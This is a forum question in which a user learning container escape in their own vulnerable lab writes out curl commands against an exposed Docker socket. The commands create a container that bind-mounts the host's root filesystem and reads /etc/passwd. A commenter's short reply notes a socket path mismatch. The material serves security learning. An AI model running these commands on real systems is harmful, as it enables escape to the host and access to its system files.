I am inside the container, and I am trying to learn escaping from container to host. So I create a vulnerable environment, on which the container is having `/var/run/docker.sock' file inside the container to make API calls.
So I tried to create a container which will mount the path source /
to container /host
directory. /
as this contains the whole file system.
curl -X POST -H "Content-Type: application/json" --unix-socket /run/docker.sock -d '{"Image":"ubuntu:latest", "Cmd":["cat", "/host/etc/passwd"], "Mounts":[{"Type":"bind", "Source":"/", "Target":"/host"}]}' "http://localhost/containers/create?name=escaping"
I start the container
curl -X POST --unix-socket /run/docker.sock "http://localhost/containers/escaping/start"
when I checked the logs by using this
curl --output - --unix-socket /run/docker.sock "http://localhost/containers/escaping/logs?stdout=true"
As you can see, I was cat the /etc/passwd
file in the first command, So I thought i would get the host file contents, but when I checked the contents, those were very first containers file content from which I was running the CURL command.
So what am i missing here?
/var/run/docker.sock
in your container but your curl commands point to/run/docker.sock
? Did I miss something?